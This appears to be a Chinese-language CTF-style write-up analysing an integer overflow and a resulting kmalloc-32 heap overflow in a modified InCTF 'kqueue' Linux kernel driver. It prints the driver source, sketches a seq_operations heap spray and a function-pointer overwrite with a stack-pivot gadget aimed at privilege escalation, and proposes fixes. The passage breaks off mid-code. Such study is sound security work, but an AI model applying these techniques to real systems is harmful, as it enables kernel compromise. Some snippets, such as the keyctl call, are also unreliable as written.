【pwn4kernel】Kernel Heap Overflow技术分析

2026/02/22 pwn4kernel 共 59005 字,约 169 分钟

【pwn4kernel】Kernel Heap Overflow技术分析

1. 测试环境

测试版本:Linux-5.8.1 内核镜像地址

笔者测试的内核版本是 Linux (none) 5.8.1 #1 SMP Fri Jan 9 13:42:16 CST 2026 x86_64 GNU/Linux

编译选项:关闭CONFIG_SLAB_FREELIST_HARDENEDCONFIG_MEMCGCONFIG_HARDENED_USERCOPY选项。开启CONFIG_SLAB_FREELIST_RANDOMCONFIG_SLUBCONFIG_SLUB_DEBUGCONFIG_BINFMT_MISCCONFIG_E1000CONFIG_E1000E选项。完整配置参考.config

保护机制:KASLR/SMEP/SMAP/KPTI

测试驱动程序:本程序改编自InCTF 2021 - Kqueue赛题。核心修改在于将存在缺陷的memcpy调用替换为__copy_from_user函数,并同时开启SMAP、SMEP与KPTI防护,从而构建了一个强化后的内核漏洞利用测试平台。漏洞本质在于,虽然使用了__copy_from_user,但未能对用户态传入的拷贝长度进行有效校验,因此经典的堆溢出漏洞依然可利用。当前测试环境配置为nokaslr,故利用过程无需内核地址泄露环节。本研究旨在探究如何在绕过SMAP、SMEP及KPTI等现代防护机制的条件下,通过精确的堆风水操控与内核态ROP链构建,最终实现权限提升。自第五章起,将深入探讨在KASLR、SMEP、SMAP及KPTI完全开启的完整保护模式下,如何首先进行内核地址泄露,进而完成完整的利用链。

驱动源码如下:

/* Generic header files */

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>

MODULE_AUTHOR("amritabi0s1@gmail.com");
MODULE_DESCRIPTION("A module to save all your beloved queues");
MODULE_LICENSE("GPL");

#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE   0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE          0xB105BABE

#define INVALID      -1
#define NOT_EXISTS   -3
#define MAX_QUEUES    5
#define MAX_DATA_SIZE 0x20

typedef unsigned long long ull;
ull queueCount = 0;

/* We need this to mitigate rat races */

static DEFINE_MUTEX(operations_lock);

static int reg;
static long kqueue_ioctl(struct file *file, unsigned int cmd,
			 unsigned long arg);
static struct file_operations kqueue_fops = {.unlocked_ioctl = kqueue_ioctl };

typedef struct {
	uint16_t data_size;
	uint64_t queue_size;	/* This needs to handle larger numbers */
	uint32_t max_entries;
	uint16_t idx;
	char *data;
} queue;

/* Every kqueue has it's own entries */

typedef struct queue_entry queue_entry;

struct queue_entry {
	uint16_t idx;
	char *data;
	queue_entry *next;
};

/* I wish I could go limitless */

queue *kqueues[MAX_QUEUES] = { (queue *) NULL };

/* Boolean array to make sure you dont save queue's over and over again */

bool isSaved[MAX_QUEUES] = { false };

/* This is how a typical request looks */

typedef struct {
	uint32_t max_entries;
	uint16_t data_size;
	uint16_t entry_idx;
	uint16_t queue_idx;
	char *data;
} request_t;

/* commiting errors is not a crime, handling them incorrectly is */

static long err(char *msg)
{
	printk(KERN_ALERT "%s\n", msg);
	return -1;
}

static noinline long create_kqueue(request_t request);
static noinline long delete_kqueue(request_t request);
static noinline long edit_kqueue(request_t request);
static noinline long save_kqueue_entries(request_t request);

/* Initialize a flag to check for existence of stuff */
bool exists = false;

/* For Validating pointers */
static noinline void *validate(void *ptr)
{
	if (!ptr) {
		mutex_unlock(&operations_lock);
		err("[-] oops! Internal operation error");
	}
	return ptr;
}

struct miscdevice kqueue_device = {
	.minor = MISC_DYNAMIC_MINOR,
	.name = "kqueue",
	.fops = &kqueue_fops,
};
/* Generic header files */
// code from InCTF2021 - Kqueue
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include "binary.h"

#pragma GCC push_options
#pragma GCC optimize ("O0")

static noinline long kqueue_ioctl(struct file *file, unsigned int cmd,
				  unsigned long arg)
{

	long result;

	request_t request;

	mutex_lock(&operations_lock);

	if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) {
		err("[-] copy_from_user failed");
		goto ret;
	}

	switch (cmd) {
	case CREATE_KQUEUE:
		result = create_kqueue(request);
		break;
	case DELETE_KQUEUE:
		result = delete_kqueue(request);
		break;
	case EDIT_KQUEUE:
		result = edit_kqueue(request);
		break;
	case SAVE:
		result = save_kqueue_entries(request);
		break;
	default:
		result = INVALID;
		break;
	}
ret:
	mutex_unlock(&operations_lock);
	return result;
}

static noinline long create_kqueue(request_t request)
{
	long result = INVALID;

	if (queueCount > MAX_QUEUES)
		err("[-] Max queue count reached");

	/* You can't ask for 0 queues , how meaningless */
	if (request.max_entries < 1)
		err("[-] kqueue entries should be greater than 0");

	/* Asking for too much is also not good */
	if (request.data_size > MAX_DATA_SIZE)
		err("[-] kqueue data size exceed");

	/* Initialize kqueue_entry structure */
	queue_entry *kqueue_entry;

	/* Check if multiplication of 2 64 bit integers results in overflow */
	ull space = 0;
	if (__builtin_umulll_overflow
	    (sizeof(queue_entry), (request.max_entries + 1), &space) == true)
		err("[-] Integer overflow");

	ull queue_size = 0;
	if (__builtin_saddll_overflow(sizeof(queue), space, &queue_size) ==
	    true)
		err("[-] Integer overflow");

	/* Total size should not exceed a certain limit */
	if (queue_size > sizeof(queue) + 0x10000)
		err("[-] Max kqueue alloc limit reached");

	/* All checks done , now call kzalloc */
	queue *queue = validate((char *)kmalloc(queue_size, GFP_KERNEL));

	/* Main queue can also store data */
	queue->data = validate((char *)kmalloc(request.data_size, GFP_KERNEL));

	/* Fill the remaining queue structure */
	queue->data_size = request.data_size;
	queue->max_entries = request.max_entries;
	queue->queue_size = queue_size;

	/* Get to the place from where memory has to be handled */
	kqueue_entry =
	    (queue_entry *) ((uint64_t) (queue + (sizeof(queue) + 1) / 8));

	/* Allocate all kqueue entries */
	queue_entry *current_entry = kqueue_entry;
	queue_entry *prev_entry = current_entry;

	uint32_t i = 1;
	for (i = 1; i < request.max_entries + 1; i++) {
		if (i != request.max_entries)
			prev_entry->next = NULL;
		current_entry->idx = i;
		current_entry->data = (char *)(validate((char *)
							kmalloc
							(request.data_size,
							 GFP_KERNEL)));

		/* Increment current_entry by size of queue_entry */
		current_entry += sizeof(queue_entry) / 16;

		/* Populate next pointer of the previous entry */
		prev_entry->next = current_entry;
		prev_entry = prev_entry->next;
	}

	/* Find an appropriate slot in kqueues */
	uint32_t j = 0;
	for (j = 0; j < MAX_QUEUES; j++) {
		if (kqueues[j] == NULL)
			break;
	}

	if (j > MAX_QUEUES)
		err("[-] No kqueue slot left");

	/* Assign the newly created kqueue to the kqueues */
	kqueues[j] = queue;
	queueCount++;
	result = 0;
	return result;
}

static noinline long delete_kqueue(request_t request)
{
	/* Check for out of bounds requests */
	if (request.queue_idx > MAX_QUEUES)
		err("[-] Invalid idx");

	/* Check for existence of the request kqueue */
	queue *queue = kqueues[request.queue_idx];
	if (!queue)
		err("[-] Requested kqueue does not exist");

	kfree(queue);
	memset(queue, 0, queue->queue_size);
	kqueues[request.queue_idx] = NULL;
	return 0;
}

static noinline long edit_kqueue(request_t request)
{
	/* Check the idx of the kqueue */
	if (request.queue_idx > MAX_QUEUES)
		err("[-] Invalid kqueue idx");

	/* Check if the kqueue exists at that idx */
	queue *queue = kqueues[request.queue_idx];
	if (!queue)
		err("[-] kqueue does not exist");

	/* Check the idx of the kqueue entry */
	if (request.entry_idx > queue->max_entries)
		err("[-] Invalid kqueue entry_idx");

	/* Get to the kqueue entry memory */
	queue_entry *kqueue_entry =
	    (queue_entry *) (queue + (sizeof(queue) + 1) / 8);

	/* Check for the existence of the kqueue entry */
	exists = false;
	uint32_t i = 1;
	for (i = 1; i < queue->max_entries + 1; i++) {

		/* If kqueue entry found , do the necessary */
		if (kqueue_entry && request.data && queue->data_size) {
			if (kqueue_entry->idx == request.entry_idx) {
			    if (__copy_from_user(kqueue_entry->data, request.data, queue->data_size)) {
					return -EIO;
				}
				validate(kqueue_entry->data);
				exists = true;
			}
		}
		kqueue_entry = kqueue_entry->next;
	}

	if (request.entry_idx == 0 && kqueue_entry && request.data
	    && queue->data_size) {
	    if (__copy_from_user(queue->data, request.data, queue->data_size)) {
			return -EIO;
		}
		validate(queue->data);
		return 0;
	}

	if (!exists)
		return NOT_EXISTS;
	return 0;
}

/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request)
{

	/* Check for out of bounds queue_idx requests */
	if (request.queue_idx > MAX_QUEUES)
		err("[-] Invalid kqueue idx");

	/* Check if queue is already saved or not */
	if (isSaved[request.queue_idx] == true)
		err("[-] Queue already saved");

	queue *queue = validate(kqueues[request.queue_idx]);

	/* Check if number of requested entries exceed the existing entries */
	if (request.max_entries < 1)
		err("[-] Invalid entry count");

	if (request.max_entries > queue->max_entries)
		err("[-] Invalid entry count");

	/* Allocate memory for the kqueue to be saved */
	char *new_queue =
	    validate((char *)kzalloc(queue->queue_size, GFP_KERNEL));

	/* Each saved entry can have its own size */
	if (request.data_size > queue->queue_size)
		err("[-] Entry size limit exceed");

	/* Copy main's queue's data */
	if (queue->data && request.data_size) {
        if (__copy_from_user(new_queue, queue->data, request.data_size)) {
            return -EIO;
        }
        validate(new_queue);
	}
	else
		err("[-] Internal error");
	new_queue += queue->data_size;

	/* Get to the entries of the kqueue */
	queue_entry *kqueue_entry =
	    (queue_entry *) (queue + (sizeof(queue) + 1) / 8);

	/* copy all possible kqueue entries */
	uint32_t i = 0;
	for (i = 1; i < request.max_entries + 1; i++) {
		if (!kqueue_entry || !kqueue_entry->data)
			break;
		if (kqueue_entry->data && request.data_size){
            if (__copy_from_user(new_queue, kqueue_entry->data, request.data_size)) {
                return -EIO;
            }
            validate(new_queue);
		}
		else
			err("[-] Internal error");
		kqueue_entry = kqueue_entry->next;
		new_queue += queue->data_size;
	}

	/* Mark the queue as saved */
	isSaved[request.queue_idx] = true;
	return 0;
}

#pragma GCC pop_options

static int __init init_kqueue(void)
{
	mutex_init(&operations_lock);
	reg = misc_register(&kqueue_device);
	if (reg < 0) {
		mutex_destroy(&operations_lock);
		err("[-] Failed to register kqueue");
	}
	return 0;
}

static void __exit exit_kqueue(void)
{
	misc_deregister(&kqueue_device);
}

module_init(init_kqueue);
module_exit(exit_kqueue);

2. 漏洞机制

2-1. 驱动功能架构概述

2-1-1. 核心数据结构层次

该内核模块实现了一个名为”kqueue”的队列管理虚拟设备,通过Linux misc字符设备框架注册为/dev/kqueue。用户态程序通过ioctl系统调用与驱动交互,支持队列的创建、编辑、删除和保存功能。驱动采用两级数据结构设计:

/* 队列控制块(Queue Control Block)*/
typedef struct {
    uint16_t data_size;      /* 每个条目的数据缓冲区大小(0-32字节)*/
    uint64_t queue_size;     /* 队列结构总内存大小(包含元数据)*/
    uint32_t max_entries;    /* 队列支持的最大条目数(1-4294967295)*/
    uint16_t idx;            /* 队列在全局数组中的索引(0-4)*/
    char *data;              /* 指向队列主数据缓冲区的指针 */
} queue;

/* 队列条目节点(Queue Entry Node)*/
struct queue_entry {
    uint16_t idx;            /* 条目在队列中的序号(1-max_entries)*/
    char *data;              /* 指向条目专属数据缓冲区的指针 */
    queue_entry *next;       /* 指向链表中下一个条目的指针 */
};

全局数据结构

#define MAX_QUEUES    5        /* 最大队列数量 */
#define MAX_DATA_SIZE 0x20     /* 每个条目的最大数据大小 */

queue *kqueues[MAX_QUEUES] = { NULL };  /* 全局队列数组 */
bool isSaved[MAX_QUEUES] = { false };   /* 队列保存状态标记 */
ull queueCount = 0;                     /* 当前队列计数 */
static DEFINE_MUTEX(operations_lock);   /* 操作互斥锁 */

2-1-2. 系统调用接口规范

驱动通过四个ioctl命令码提供完整功能接口:

命令码符号常量功能描述关键参数
0xDEADC0DECREATE_KQUEUE创建新队列max_entries, data_size
0xDAADEEEEEDIT_KQUEUE编辑队列条目queue_idx, entry_idx, data
0xBADDCAFEDELETE_KQUEUE删除队列queue_idx
0xB105BABESAVE保存队列数据queue_idx, max_entries, data_size

请求数据结构

typedef struct {
    uint32_t max_entries;    /* CREATE/SAVE: 最大条目数 */
    uint16_t data_size;      /* CREATE/SAVE: 数据缓冲区大小 */
    uint16_t entry_idx;      /* EDIT: 目标条目索引 */
    uint16_t queue_idx;      /* EDIT/DELETE/SAVE: 目标队列索引 */
    char *data;              /* EDIT: 用户数据缓冲区指针 */
} request_t;

2-1-3. 内存分配策略

CREATE_KQUEUE操作采用分层内存分配策略,分为两个主要阶段:

第一阶段:队列控制结构与节点数组分配

graph TD
    subgraph "连续内存区域布局"
        direction TD
        G["queue控制块<br/>32字节"]:::queue
        H["queue_entry[0]<br/>24字节"]:::entry
        I["queue_entry[1]<br/>24字节"]:::entry
        J["..."]:::dots
        K["queue_entry[max_entries]<br/>24字节"]:::entry

        G --> H
        H --> I
        I --> J
        J --> K
    end

    subgraph "分配流程"
        direction TD
        A[CREATE_KQUEUE调用] --> B[计算总内存需求]
        B --> C{计算queue_size}
        C --> D["queue_size = sizeof(queue) + (max_entries+1)*sizeof(queue_entry)"]
        D --> E[kmalloc分配连续内存]
        E --> F["获得queue控制块和queue_entry数组"]
    end

    classDef queue fill:#e1f5fe,stroke:#0277bd,stroke-width:2px
    classDef entry fill:#f3e5f5,stroke:#6a1b9a,stroke-width:2px
    classDef dots fill:#ffffff,stroke:#666666,stroke-dasharray:5,5

第二阶段:数据缓冲区独立分配

graph TD
    subgraph "独立数据缓冲区布局"
        direction LR
        I["queue->data<br/>data_size字节"]:::data
        J["entry[1]->data<br/>data_size字节"]:::data
        K["entry[2]->data<br/>data_size字节"]:::data
        L["..."]:::dots
        M["entry[max_entries]->data<br/>data_size字节"]:::data
    end

    subgraph "分配流程"
        direction TD
        A[内存分配第二阶段] --> B[分配queue->data缓冲区]
        B --> C["kmalloc(data_size)"]
        C --> D["queue->data指针初始化"]

        D --> E[循环分配每个条目的data缓冲区]
        E --> F["for(i=1; i<(max_entries+1); i++)"]
        F --> G["entry[i]->data = kmalloc(data_size)"]
        G --> H[构建链表连接]
    end
    classDef data fill:#e8f5e8,stroke:#2e7d32,stroke-width:2px
    classDef dots fill:#ffffff,stroke:#666666,stroke-dasharray:5,5

正常分配计算公式: 设队列控制块大小\(S_q = 32\)字节,条目节点大小\(S_e = 24\)字节,用户指定\(n\)个条目,每个条目数据大小\(d\)字节。

连续内存区域大小:

\[M_{\text{连续}} = S_q + (n+1) \times S_e\]

独立数据缓冲区总大小:

\[M_{\text{数据}} = (n+1) \times d\]

内存组织特点

  1. 连续内存区域:包含queue控制块和所有queue_entry节点,保证局部性
  2. 独立数据缓冲区:每个数据缓冲区独立分配,避免大块连续内存需求
  3. 链表连接queue_entry节点通过next指针形成单向链表
  4. 指针引用queue->data和每个entry->data指向独立分配的缓冲区

2-2. 整数溢出漏洞原理

2-2-1. 算术异常触发机制

create_kqueue()函数中,存在两处算术运算异常:

/* 第一处:无符号整数乘法溢出检测 */
ull space = 0;
if (__builtin_umulll_overflow(sizeof(queue_entry), (request.max_entries + 1), &space) == true)
    err("[-] Integer overflow");

/* 第二处:有符号整数加法溢出检测 */
ull queue_size = 0;
if (__builtin_saddll_overflow(sizeof(queue), space, &queue_size) == true)
    err("[-] Integer overflow");

异常触发条件: 当用户指定request.max_entries = 0xFFFFFFFF(4294967295)时:

  1. 32位无符号加法回绕

     0xFFFFFFFF + 1 = 0x100000000
     由于32位表示限制,结果回绕为0x00000000
    
  2. 乘法运算归零

     space = sizeof(queue_entry) × 0 = 0
    
  3. 总大小计算错误

     queue_size = sizeof(queue) + 0 = 32
    

数学形式化: 设用户输入\(n = 2^{32} - 1\),\(S_e = 24\),\(S_q = 32\)。

  1. 计算条目数偏移:

    \[t = (n + 1) \mod 2^{32} = 0\]
  2. 计算条目总内存:

    \[m = S_e \times t = 24 \times 0 = 0\]
  3. 计算队列总内存: \(M = S_q + m = 32 + 0 = 32\)

2-2-2. 内存分配不一致性

算术异常导致内存分配与元数据记录不一致:

graph TD
    subgraph "预期内存布局(正常情况)"
        A1["queue控制块 32B"] --> B1["queue_entry[0] 24B"]
        B1 --> C1["queue_entry[1] 24B"]
        C1 --> D1["..."]
        D1 --> E1["queue_entry[n] 24B"]
    end

    subgraph "实际内存布局(异常触发)"
        A2["queue控制块 32B"] --> B2["未知内核对象X"]
        B2 --> C2["未知内核对象Y"]
    end

    subgraph "元数据记录状态"
        M1["queue->queue_size"] --> N1["记录值: 32"]
        M2["实际所需大小"] --> N2["计算值: 32+(n+1)×24"]
    end

    A1 -.->|预期包含| N2
    A2 -.->|实际大小| N1

    classDef normal fill:#e1f5fe,stroke:#0277bd
    classDef abnormal fill:#ffebee,stroke:#c62828
    classDef metadata fill:#fff3e0,stroke:#f57c00

    class A1,B1,C1,D1,E1 normal
    class A2,B2,C2 abnormal
    class M1,N1,M2,N2 metadata

关键问题

  1. 元数据不一致queue->queue_size字段记录为32,但代码假设其后是queue_entry数组
  2. 指针运算错误:后续通过queue + (sizeof(queue) + 1) / 8计算queue_entry起始地址
  3. 链表遍历异常:遍历不存在的queue_entry数组可能导致非法内存访问

2-2-3. 验证函数逻辑缺陷

validate()函数存在设计缺陷,无法有效阻止异常状态继续执行:

static noinline void *validate(void *ptr)
{
    if (!ptr) {
        mutex_unlock(&operations_lock);
        err("[-] oops! Internal operation error");
        /* 关键:缺少错误返回语句 */
    }
    return ptr;  /* 即使ptr为NULL也返回NULL */
}

缺陷分析

  1. 错误处理不完整:检测到空指针时仅打印日志,未终止操作
  2. 控制流继续:函数返回NULL,但调用方可能未检查返回值
  3. 竞争条件风险:提前释放互斥锁但不终止操作
  4. 空指针解引用:后续代码可能直接使用NULL指针

2-3. 堆缓冲区溢出漏洞

2-3-1. 可控制拷贝溢出

save_kqueue_entries()函数中,存在用户可控拷贝大小的堆缓冲区溢出:

/* 步骤1:基于错误queue_size分配缓冲区 */
char *new_queue = validate((char *)kzalloc(queue->queue_size, GFP_KERNEL));

/* 步骤2:用户控制拷贝大小 */
if (__copy_from_user(new_queue, queue->data, request.data_size)) {
    return -EIO;
}

溢出条件

  1. 整数漏洞前提queue->queue_size = 32(由于算术异常)
  2. 缓冲区分配kzalloc(32, GFP_KERNEL)分配kmalloc-32缓冲区
  3. 用户可控参数request.data_size完全由用户控制
  4. 大小不匹配:当request.data_size > 32时发生溢出

溢出数学模型: 设目标缓冲区大小\(B_t = 32\),用户指定拷贝大小\(B_c\),溢出长度\(O\)为:

\[O = \max(0, B_c - B_t)\]

request.data_size = 40(0x28)时:

\[O = 40 - 32 = 8 \text{字节}\]

2-3-2. 内存污染机制

溢出操作导致相邻内存区域被非预期修改:

溢出前内存布局:
+----------------+ 0x00-0x1F: new_queue缓冲区 (32字节)
+----------------+ 0x20-0x3F: 相邻结构体A
+----------------+ 0x40-0x5F: 相邻结构体B

溢出操作:
__copy_from_user(new_queue, source, 40)

溢出后内存布局:
+----------------+ 0x00-0x1F: new_queue填充数据
+----------------+ 0x20-0x27: 结构体A前8字节被覆盖
+----------------+ 0x28-0x3F: 结构体A剩余24字节
+----------------+ 0x40-0x5F: 结构体B(未受影响)

污染影响

  1. 结构体字段破坏:相邻结构体的关键字段被修改
  2. 控制流转移:如覆盖函数指针可实现控制流转移
  3. 数据泄露:可能泄露相邻内存的敏感信息
  4. 系统不稳定:结构体字段破坏可能导致内核崩溃

2-4. 可用kmalloc-32目标结构体

2-4-1. seq_operations结构体

seq_operations是proc文件系统操作的核心结构体,大小为32字节,完美匹配kmalloc-32缓存:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

关键特性

  1. 大小匹配:32字节,分配在kmalloc-32缓存
  2. 函数指针:包含4个可直接调用的函数指针
  3. 易于触发:通过/proc文件系统操作可稳定触发调用
  4. 广泛存在:多个proc文件使用此结构体
  5. 生命周期可控:通过文件描述符控制结构体的分配和释放

分配方式

/* 通过打开proc文件创建seq_operations */
int fd = open("/proc/self/stat", O_RDONLY);
/* 内核分配seq_operations结构体 */

内存布局

seq_operations结构体布局(32字节):
+----------------+ 0x00-0x07: start函数指针
+----------------+ 0x08-0x0F: stop函数指针
+----------------+ 0x10-0x17: next函数指针
+----------------+ 0x18-0x1F: show函数指针

2-4-2. user_key_payload结构体

user_key_payload是Linux密钥子系统中的结构体,用于存储用户密钥数据,同样分配在kmalloc-32缓存:

struct user_key_payload {
    struct rcu_head rcu;        /* RCU删除回调 */
    unsigned short datalen;     /* 数据长度 */
    char data[];                /* 可变长度数据 */
};

关键特性

  1. 大小可控:通过控制datalen可使结构体大小为32字节
  2. 数据区域可控data字段包含用户可控数据
  3. 释放机制:通过密钥引用计数管理生命周期
  4. 操作接口:通过密钥子系统API进行操作

分配方式

/* 创建用户密钥并设置payload */
struct key *key;
key = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "test_keyring");
add_key("user", "test_key", payload_data, payload_size, key);

内存布局

user_key_payload结构体布局(32字节):
+----------------+ 0x00-0x0F: rcu_head结构
+----------------+ 0x10-0x11: datalen字段
+----------------+ 0x12-0x13: 填充字节
+----------------+ 0x14-0x1F: data[]数组开始

2-4-3. 结构体选择策略

选择标准

  1. 大小精确匹配:必须为32字节,确保分配在kmalloc-32
  2. 包含函数指针:有可直接或间接调用的函数指针
  3. 触发可控:可通过用户空间操作稳定触发
  4. 分配可预测:分配时机和位置相对可控
  5. 生命周期管理:能够控制分配和释放时机

对比分析

特性seq_operationsuser_key_payload
大小固定32字节可通过datalen控制为32字节
函数指针4个直接函数指针无直接函数指针,但有RCU回调
触发方式文件读取操作密钥操作
分配控制通过open/close控制通过密钥API控制
稳定性高,proc接口稳定中等,依赖密钥子系统
graph TD
    A[目标结构体选择]:::start --> B{满足条件?}
    B -->|是| C[列入候选]
    B -->|否| D[排除]:::exclude

    C --> E{大小=32字节?}
    E -->|是| F[通过]
    E -->|否| D

    F --> G{包含函数指针?}
    G -->|是| H["seq_operations<br/>首选"]:::best
    G -->|否| I["user_key_payload<br/>备选"]:::backup

    H --> J[函数指针直接调用]
    I --> K[需结合其他技术]

    classDef start fill:#e1f5fe,stroke:#0277bd,stroke-width:2px
    classDef exclude fill:#ffebee,stroke:#c62828
    classDef best fill:#1b5e20,stroke:#81c784,color:#ffffff,stroke-width:3px
    classDef backup fill:#33691e,stroke:#a5d6a7,color:#ffffff

2-5. 漏洞协同利用链

2-5-1. 利用链阶段划分

完整利用链包含六个阶段,形成从条件创造到控制流转移的完整路径:

sequenceDiagram
    participant U as 用户空间
    participant D as 驱动模块
    participant M as 内核内存
    participant S as 目标结构体
    participant E as 执行流

    Note over U,E: 阶段1: 异常队列构造
    U->>D: CREATE_KQUEUE(0xFFFFFFFF, 0x100)
    activate D
    D->>M: 分配queue结构(32B)
    D->>M: 分配queue->data(256B)
    D-->>U: 返回成功
    deactivate D

    Note over U,E: 阶段2: 目标结构体布置
    loop 200次堆喷
        U->>M: 打开/proc文件
        M->>M: 分配seq_operations(32B)
    end

    Note over U,E: 阶段3: 溢出数据准备
    U->>D: EDIT_KQUEUE(0, 0, 构造数据)
    activate D
    D->>M: 写入queue->data缓冲区
    D-->>U: 返回成功
    deactivate D

    Note over U,E: 阶段4: 触发堆溢出
    U->>D: SAVE_KQUEUE_ENTRIES(0, 1, 0x28)
    activate D
    D->>M: 分配new_queue(32B)
    D->>M: 拷贝40字节数据
    M->>S: 覆盖seq_operations函数指针
    D-->>U: 返回成功
    deactivate D

    Note over U,E: 阶段5: 触发控制流转移
    U->>E: 读取seq文件
    activate E
    E->>S: 调用被覆盖的start指针
    S->>E: 跳转到栈迁移指令序列
    E->>E: 执行非预期代码路径
    deactivate E

    Note over U,E: 阶段6: 结果验证
    E-->>U: 返回执行结果

2-5-2. 阶段详解

阶段1:异常队列构造

// 触发整数溢出,queue_size=32
create_kqueue(
    .max_entries = 0xFFFFFFFF,  // 触发算术异常
    .data_size = 0x100          // 主数据缓冲区大小
);

// 内存结果:
// [kmalloc-32] queue结构 (32字节)
// [kmalloc-256] queue->data (256字节)
// queue->queue_size错误记录为32

阶段2:目标结构体堆喷

// 密集分配seq_operations结构体
int seq_fds[200];
for (int i = 0; i < 200; i++) {
    seq_fds[i] = open("/proc/self/stat", O_RDONLY);
    // 每个open分配seq_operations结构体
    // 期望至少一个位于new_queue相邻位置
}

阶段3:溢出数据构造

// 构造40字节溢出数据
struct {
    char padding[0x20];           // 填充32字节缓冲区
    uint64_t target_gadget;       // 覆盖目标函数指针
    char remaining[0x8];          // 额外8字节
} exploit_data;

// 设置栈迁移指令序列地址
exploit_data.target_gadget = ADD_RSP_0xD0_POP_RBX_POP_RBP_RET;

阶段4:触发溢出覆盖

// 触发堆缓冲区溢出
save_kqueue_entries(
    .queue_idx = 0,
    .max_entries = 1,
    .data_size = 0x28  // 40 > 32,溢出8字节
);

// 结果:seq_operations->start指针被覆盖

阶段5:控制流转移

// 通过读取触发被覆盖的函数指针
char buf[64];
read(seq_fd, buf, sizeof(buf));

// 内核调用链:
// seq_read()
// → seq_operations->start()  // 被覆盖为指令序列地址
// → 执行栈迁移指令序列
// → 控制流转移

2-5-3. 数学协同模型

两个漏洞通过数学模型相互配合,形成完整利用条件:

整数溢出条件: 设用户输入\(n\),正常计算应为:

\[M_{\text{正常}} = 32 + 24 \times (n+1)\]

异常触发条件:

\[n = 2^{32} - 1 \Rightarrow M_{\text{异常}} = 32\]

堆溢出条件: 设目标缓冲区大小\(B_t = M_{\text{异常}} = 32\),用户指定拷贝大小\(B_c\),需满足:

\[B_c > 32\]

内存布局条件: 设目标结构体与new_queue相邻概率为\(P\),堆喷数量为\(N\),则至少一个相邻的概率为:

\[P_{\text{命中}} = 1 - (1 - P)^N\]

当\(N=200\),\(P=0.01\)时:

\[P_{\text{命中}} = 1 - (1-0.01)^{200} \approx 0.866\]

完整利用条件

\[\text{成功条件} = (n = 2^{32}-1) \land (B_c > 32) \land (P_{\text{命中}} \approx 1) \land (\text{数据可控})\]

2-5-4. 漏洞组合效应

两个独立漏洞组合产生的协同效应:

  1. 条件创造:整数溢出创造异常内存条件
    • 使queue->queue_size错误记录为32
    • 为后续溢出创造必要条件
  2. 内存破坏:堆溢出实现精准内存修改
    • 可控的溢出长度和内容
    • 精准覆盖相邻结构体的关键字段
  3. 控制流转移:函数指针覆盖引导执行流
    • 将正常控制流转移到非预期地址
    • 通过栈迁移进入预设执行环境
  4. 权限异常:非预期代码执行可能绕过检查
    • 在内核上下文执行任意代码
    • 可能修改进程凭证和权限

2-6. 代码修复与安全加固

2-6-1. 输入验证强化

修复方案1:参数范围检查

/* 定义合理的参数范围 */
#define MAX_REASONABLE_ENTRIES 10000
#define MIN_DATA_SIZE 1
#define MAX_DATA_SIZE 0x20

static noinline long create_kqueue(request_t request)
{
    /* 检查max_entries合理性 */
    if (request.max_entries == 0 ||
        request.max_entries > MAX_REASONABLE_ENTRIES) {
        return -EINVAL;
    }

    /* 检查特殊值0xFFFFFFFF */
    if (request.max_entries == 0xFFFFFFFF) {
        return -EINVAL;
    }

    /* 检查data_size合理性 */
    if (request.data_size < MIN_DATA_SIZE ||
        request.data_size > MAX_DATA_SIZE) {
        return -EINVAL;
    }

    /* 继续正常分配流程 */
}

修复方案2:安全算术运算

/* 使用安全算术函数进行大小计算 */
#include <linux/overflow.h>

static noinline long create_kqueue(request_t request)
{
    size_t entry_mem, total_mem;

    /* 安全计算条目内存 */
    if (check_mul_overflow(sizeof(queue_entry),
                          (size_t)request.max_entries + 1,
                          &entry_mem)) {
        return -EOVERFLOW;
    }

    /* 安全计算总内存 */
    if (check_add_overflow(sizeof(queue), entry_mem, &total_mem)) {
        return -EOVERFLOW;
    }

    /* 验证总内存不超过合理限制 */
    if (total_mem > sizeof(queue) + 0x10000) {
        return -EINVAL;
    }

    /* 使用计算得到的总内存进行分配 */
    queue *queue = kmalloc(total_mem, GFP_KERNEL);
    if (!queue) {
        return -ENOMEM;
    }

    /* 记录正确的queue_size */
    queue->queue_size = total_mem;

    /* 继续正常初始化 */
}

2-6-2. 内存操作安全

修复方案3:缓冲区边界检查

static noinline long save_kqueue_entries(request_t request)
{
    /* 验证拷贝大小不超过源缓冲区 */
    if (request.data_size > queue->data_size) {
        return -EINVAL;
    }

    /* 验证拷贝大小不超过目标缓冲区 */
    if (request.data_size > queue->queue_size) {
        return -EINVAL;
    }

    /* 使用安全的最小值 */
    size_t copy_size = min_t(size_t, request.data_size, queue->queue_size);

    /* 执行边界检查后的拷贝 */
    if (copy_from_user(new_queue, queue->data, copy_size)) {
        kfree(new_queue);
        return -EFAULT;
    }

    /* 继续正常流程 */
}

修复方案4:验证函数完善

/* 改进的验证函数,返回错误码 */
static noinline int validate_ptr(void *ptr, const char *msg)
{
    if (!ptr) {
        mutex_unlock(&operations_lock);
        printk(KERN_ERR "kqueue: %s failed\n", msg);
        return -ENOMEM;
    }
    return 0;
}

/* 使用示例 */
queue *queue = kmalloc(size, GFP_KERNEL);
if (validate_ptr(queue, "kmalloc queue")) {
    return -ENOMEM;
}

2-6-3. 防御性编程实践

最佳实践1:初始化敏感数据

/* 分配后立即初始化关键字段 */
queue *queue = kzalloc(total_mem, GFP_KERNEL);
if (!queue) {
    return -ENOMEM;
}

/* 设置默认值 */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = total_mem;
queue->idx = 0;
queue->data = NULL;  /* 显式设置为NULL */

最佳实践2:释放时清理

static noinline long delete_kqueue(request_t request)
{
    /* 安全检查 */
    if (request.queue_idx >= MAX_QUEUES) {
        return -EINVAL;
    }

    queue *queue = kqueues[request.queue_idx];
    if (!queue) {
